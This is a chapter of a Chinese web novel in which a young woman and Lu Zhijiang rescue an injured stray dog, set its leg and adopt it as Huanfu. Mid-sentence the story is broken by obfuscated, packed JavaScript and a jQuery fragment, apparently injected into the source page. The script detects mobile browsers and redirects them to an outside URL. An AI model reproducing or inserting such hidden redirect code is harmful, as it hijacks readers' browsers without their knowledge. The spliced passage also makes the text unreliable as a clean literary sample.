5. 第 5 章
作品:《古代屠户养家日常》 这天下午,铺子打烊后,元如意把石板擦干净,把钱匣子锁好,跟陆织姜打了声招呼,提着个小竹篮去了河边。
她惦记着河滩上那些野苋菜和马齿苋,长得正旺,掐点嫩尖回去,焯水凉拌,或者做野菜饼子,都是不错的吃食,还能省点菜钱。
河边湿润的泥地上,野苋菜一丛一丛的,叶片背面紫红,元如意蹲下身,专挑最嫩的尖儿掐,手指很快染上淡淡的紫红色汁液。
正专心致志地采摘着,忽然听见旁边芦苇丛里有动静,还有一阵很细弱的哼唧声,像是什么小动物的声音。
元如意停下了手,她警惕地望过去,声音是从一丛特别密的芦苇后面传来的,她放下篮子,捡了根枯树枝,小心拨开了芦苇。
芦苇后面,靠近水边的浅滩泥地上,蜷着一团湿漉漉的东西。
等她仔细地看,是条小狗,黄色杂毛,瘦得肋骨根根分明,一条后腿不自然地弯折着,伤口糊着泥血,身体正微微颤抖着,它似乎察觉到有人,努力想抬头,喉咙里发出低低的呜咽,眼神浑浊,满是痛苦。
元如意心里一揪,这狗看样子是受伤了,被丢弃在这里,也不知道多久了。
她慢慢靠近,尽量放柔了自己的声音:“别怕,我不伤害你。”
那狗瑟缩了一下,想往后挪,但伤腿动不了,只能发出更急促的呜咽。
元如意看见它伤口附近有苍蝇盘旋,再这样下去,感染溃烂,活不了几天,她犹豫了一下,家里不宽裕,多一张嘴吃饭都是负担,可就这样转身走掉……
她咬咬牙,把手里掐的野菜扔回篮子,解下系在腰间的旧布巾,试着接近那条狗:“乖,别动,我看看你的腿。”
狗似乎察觉到她没有恶意,呜咽声低了下去,但身体依旧紧绷,元如意用布巾轻轻擦了擦它伤口周围的泥污,伤口挺深,像是被什么尖锐的东西划破又摔折了,所以,得清洗上药,还得固定。
可她一个人根本弄不了啊。
“你等着,别乱跑啊。”狗似乎可以听得懂她说的话,留在原地,没动。
这时候,元如意就起身,快步跑回了家里。
陆织姜见她急匆匆回来,脸上还沾着泥点,问:“怎么了?”
“河边有条狗,受伤了,我瞧着还挺可怜的,能不能帮我把它弄回来?至少清理一下伤口?”
陆织姜做好了饭,还准备去叫她,这时,转过身看她。
“是条小黄狗,瘦得厉害,扔河边了,伤口都生蛆了,不救肯定活不成。”
陆织姜沉默了几秒,元如意心里打鼓,怕他觉得多事,毕竟,以现下的状况,养人都只是勉强,还管野狗的死活?
“等着。”陆织姜吐出两个字,转身进了后院,过了一会儿,他拿着块破旧的木板和几条干净布条出来。
“走。”
元如意赶紧跟在他身后回到河边。
那狗还躺在原处,气息更微弱了些,陆织姜走过去,蹲下身查看伤口,他看了看折断的腿骨位置,眉头微皱。
他声音没什么起伏,道:“得正骨固定,会很疼,它可能咬人。”
“那我按着它头?”元如意问。
陆织姜看她一眼:“按不住的,去找根木棍,要直点的,比它腿长。”
元如意连忙在附近寻了根合适的枯枝,陆织姜接过,用随身的小刀削掉枝桠,又撕下几条布条备用,然后他示意元如意站远点。
他一只手轻轻按住狗的身体,另一只手握住那条伤腿,狗剧烈挣扎起来,发出痛苦的嚎叫的声音,陆织姜下手又快又稳,只听“咔”一声轻响,错位的骨头似乎被归正了。
狗惨叫一声,猛地扭头想咬陆织姜的手,但陆织姜早已缩回手,迅速用木板夹住伤腿,用布条一圈圈紧紧缠牢固定。
整个过程不到半分钟。
狗瘫在泥地里,喘着粗气,呜呜哀鸣,但不再剧烈挣扎。
陆织姜站起身,手上沾了泥和鲜血,他赶紧走到水边洗了手,然后弯腰,连狗带木板一起抱了起来,黄狗在他怀里瑟缩了一下,却没再反抗。
“回去上点药。”他说着,就往回走。
元如意赶紧提起自己的野菜篮子,小跑着跟上了。
回到家,陆织姜把狗放在后院角落阴凉处,元如意打了干净井水,仔细冲洗狗身上的泥污和伤口,陆织姜从屋里拿出个小陶罐,里面是他自己配的草药膏,虽然味道很是刺鼻,但他说消炎止血的效果很好。
他抠出了一小坨,敷在了黄狗腿伤口上,又换了干净的布条重新包扎固定。
它似乎知道他们是在救自己,全程十分安静,只是疼得厉害时哼唧两声,湿漉漉的眼睛一直看着陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039479|194676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
织姜和元如意。
弄完这些,天都快黑了,陆织姜又熬了点给狗喝的粥,晾温了,放在一个破碗里,端到它面前。
小黄狗直接凑过去嗅嗅,然后狼吞虎咽地舔食起来,显然饿极了。
“给它起个名吧。”陆织姜洗完手,站在旁边说。
元如意想了想说:“是小公狗还是母狗啊?”
“公的。”
“那就叫它欢福?”
陆织姜没什么意见地点点头:“挺好的。”
于是,小院里就多了两头猪、五只鸡,现下,就又多了欢福。
翌日,元如意特意煮粥时多放了半把米,稠稠的,给欢福留了一碗,还拌了点菜汤,欢福的精神明显好了些,看见元如意靠近,尾巴尖会轻轻摇晃两下。
陆织姜早上出门前,看了一眼趴在角落的欢福,对元如意说:“今天铺子应该还很忙,可欢福需要人看着,它伤情不稳定,你就不去了,饭已经备好了,中午自己热点饭吃。”
“知道。”元如意应着,然后她回头看见欢福正努力用前肢撑着想站起来,但后腿固定着,试了几次都摔倒了,呜咽着,可怜巴巴地望着她。
元如意心一软,走过去,轻轻摸了摸它的脑袋,说:“别急,慢慢地养,会好的。”
欢福伸出舌头,舔了舔她的手心,那感觉痒痒的。
日子照旧过,元如意每天多了项任务照顾欢福,给它喂食,换水,检查伤口,陆织姜隔两天会给欢福换一次药,伤口的红肿慢慢消了,没出现溃烂,元如意这才总算松了口气。
欢福很乖,从不乱叫,大概是以前挨打挨怕了,它很快认定了元如意和陆织姜是主人,尤其黏元如意,她走到哪儿,它就用前腿拖着身子跟到哪儿。
七八天后,陆织姜给欢福拆了夹板,说骨头接得不错,可以试着走路了,欢福它试探着用那条伤腿点地,一瘸一拐,但终于能自己移动了,它高兴地在院子里转圈。
元如意看着,忍不住笑,陆织姜站在灶房门口,脸上似乎也有一丝极淡的笑意。
两天后,欢福的伤腿好利索了,虽然还有点跛,但跑跳已经没有什么大碍了,它从不捣乱,就安安静静趴在灶房门口或者院子里,看元如意和陆织姜忙进忙出,有时元如意搬东西,它还会凑过来,用脑袋蹭蹭她的腿,像是要帮忙似的。

